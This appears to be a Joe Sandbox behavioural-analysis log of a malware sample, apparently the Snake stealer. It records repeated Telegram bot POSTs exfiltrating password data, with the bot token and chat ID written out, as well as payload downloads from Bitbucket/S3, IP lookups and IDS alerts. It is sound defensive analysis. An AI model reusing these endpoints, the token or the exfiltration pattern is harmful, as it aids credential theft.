Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1275f877ff90Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1121e522ff54Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd112726dfdaefHost: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd12d4ee8d8cfeHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd114d7c71abd4Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd11559464c338Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd131d191f6227Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1197e49d4113Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd11aa88ccb890Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd13bb487a2aa3Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd11dc4fb6d2d1Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd11c811aae335Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1423a1fed966Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd12345456dd07Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd14c06965d3a2Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1220a2538758Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd12a00e36c4c0Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd12a75cd9b643Host: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd155c28fa062fHost: api.telegram.orgContent-Length: 537
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0dcf78ef9f83Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive

Source: Joe Sandbox View

IP Address: 132.226.8.169 132.226.8.169

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown

DNS query: name: checkip.dyndns.org

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 16.182.70.225:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49702 -> 185.166.143.48:443

Source: global traffic	HTTP traffic detected: GET /ntim1478/gpmaw/downloads/240_Cobsfhiygmx HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/d4025bf5-bb79-4526-ae33-7a2e4ade5334/240_Cobsfhiygmx?response-content-disposition=attachment%3B%20filename%3D%22240_Cobsfhiygmx%22&AWSAccessKeyId=ASIA6KOSE3BNDW6O2X3G&Signature=2chtfxoFxVQH%2B%2Bqk1LYozF4rZ%2B0%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEID%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCIAD1NYAHfsojP08kbtMfuAOMGAEvCe3UKQ8UuqEcK7AUAiBLFY8fCNgsv5yXRVa1b5QNwmml9rALfaMKgd8jdopQyyqnAggoEAAaDDk4NDUyNTEwMTE0NiIMfAZ8Us6gNEO9lXe4KoQC4H3JCLPChoPHuNq8eVCV0VMfd0IICdqgHHTSS7ANzAU4dth3BBqgfGziNIRR91nsxqTwbAAkR9UbQFCz06yniB%2BRGncxwoJCSnWAnC0PMUZxzU%2B%2BmfP%2FabATRJ9BblkOl1DPLVzf%2FJK1O6swKVUCdmPXu9Jkpx0Zs3JpqA2SUfKf9kMOAbhud5%2B1kxcQ6T7uVBLz8q4gm46LDNyHkSdwPE%2FQPgP3oIs4bSwQ5TMxJgIO5MbAPud6%2Bz%2FVgFMzq8rBGnCYT%2F4UbUFOLOxmP7f%2FDVGr5XggPH5IbOKF9s2N5SU%2B%2B%2BFpTKfe55tJ6Uv%2BfHOKA0oQO%2BP7Wdzhn3fln1%2B7PoGjL2cwk%2BqVugY6ngGYCJOQQCMy7ggWig9zh2r3BmXcbjQcgkcKcTBPK9af%2FavWTGfdHkiCsWui9miH9txKAmMYOb08nXhpPgiwJXBhhGW9aVZgTRRjdb2Sv%2FPIWSb4mnaUlx07x5vLgIpzF7bcB%2BXCGAwY9Fu1PDZraBoc98lDjGKEsMeyI4ZoviGm%2Fw7CfZ%2BnLixdbdCHlHxYrlVAS%2BUU8DDCuagK%2FZVUiA%3D%3D&Expires=1732607003 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bbuseruploads.s3.amazonaws.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ntim1478/gpmaw/downloads/240_Cobsfhiygmx HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/d4025bf5-bb79-4526-ae33-7a2e4ade5334/240_Cobsfhiygmx?response-content-disposition=attachment%3B%20filename%3D%22240_Cobsfhiygmx%22&AWSAccessKeyId=ASIA6KOSE3BNDW6O2X3G&Signature=2chtfxoFxVQH%2B%2Bqk1LYozF4rZ%2B0%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEID%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCIAD1NYAHfsojP08kbtMfuAOMGAEvCe3UKQ8UuqEcK7AUAiBLFY8fCNgsv5yXRVa1b5QNwmml9rALfaMKgd8jdopQyyqnAggoEAAaDDk4NDUyNTEwMTE0NiIMfAZ8Us6gNEO9lXe4KoQC4H3JCLPChoPHuNq8eVCV0VMfd0IICdqgHHTSS7ANzAU4dth3BBqgfGziNIRR91nsxqTwbAAkR9UbQFCz06yniB%2BRGncxwoJCSnWAnC0PMUZxzU%2B%2BmfP%2FabATRJ9BblkOl1DPLVzf%2FJK1O6swKVUCdmPXu9Jkpx0Zs3JpqA2SUfKf9kMOAbhud5%2B1kxcQ6T7uVBLz8q4gm46LDNyHkSdwPE%2FQPgP3oIs4bSwQ5TMxJgIO5MbAPud6%2Bz%2FVgFMzq8rBGnCYT%2F4UbUFOLOxmP7f%2FDVGr5XggPH5IbOKF9s2N5SU%2B%2B%2BFpTKfe55tJ6Uv%2BfHOKA0oQO%2BP7Wdzhn3fln1%2B7PoGjL2cwk%2BqVugY6ngGYCJOQQCMy7ggWig9zh2r3BmXcbjQcgkcKcTBPK9af%2FavWTGfdHkiCsWui9miH9txKAmMYOb08nXhpPgiwJXBhhGW9aVZgTRRjdb2Sv%2FPIWSb4mnaUlx07x5vLgIpzF7bcB%2BXCGAwY9Fu1PDZraBoc98lDjGKEsMeyI4ZoviGm%2Fw7CfZ%2BnLixdbdCHlHxYrlVAS%2BUU8DDCuagK%2FZVUiA%3D%3D&Expires=1732607003 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bbuseruploads.s3.amazonaws.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0dc18a308c59Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive

Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034D60000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/h
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/p
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: yihfsboC.pif, 00000017.00000003.1647444875.000000003753B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2547471233.00000000374F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: yihfsboC.pif, 0000000E.00000002.2542798252.0000000028C83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.c
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: yihfsboC.pif, 00000017.00000003.1647444875.000000003753B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2547471233.00000000374F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: yihfsboC.pif, 00000017.00000003.1647444875.000000003753B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cfdm
Source: yihfsboC.pif, 00000017.00000003.1647444875.000000003753B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2547471233.00000000374F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co~eE
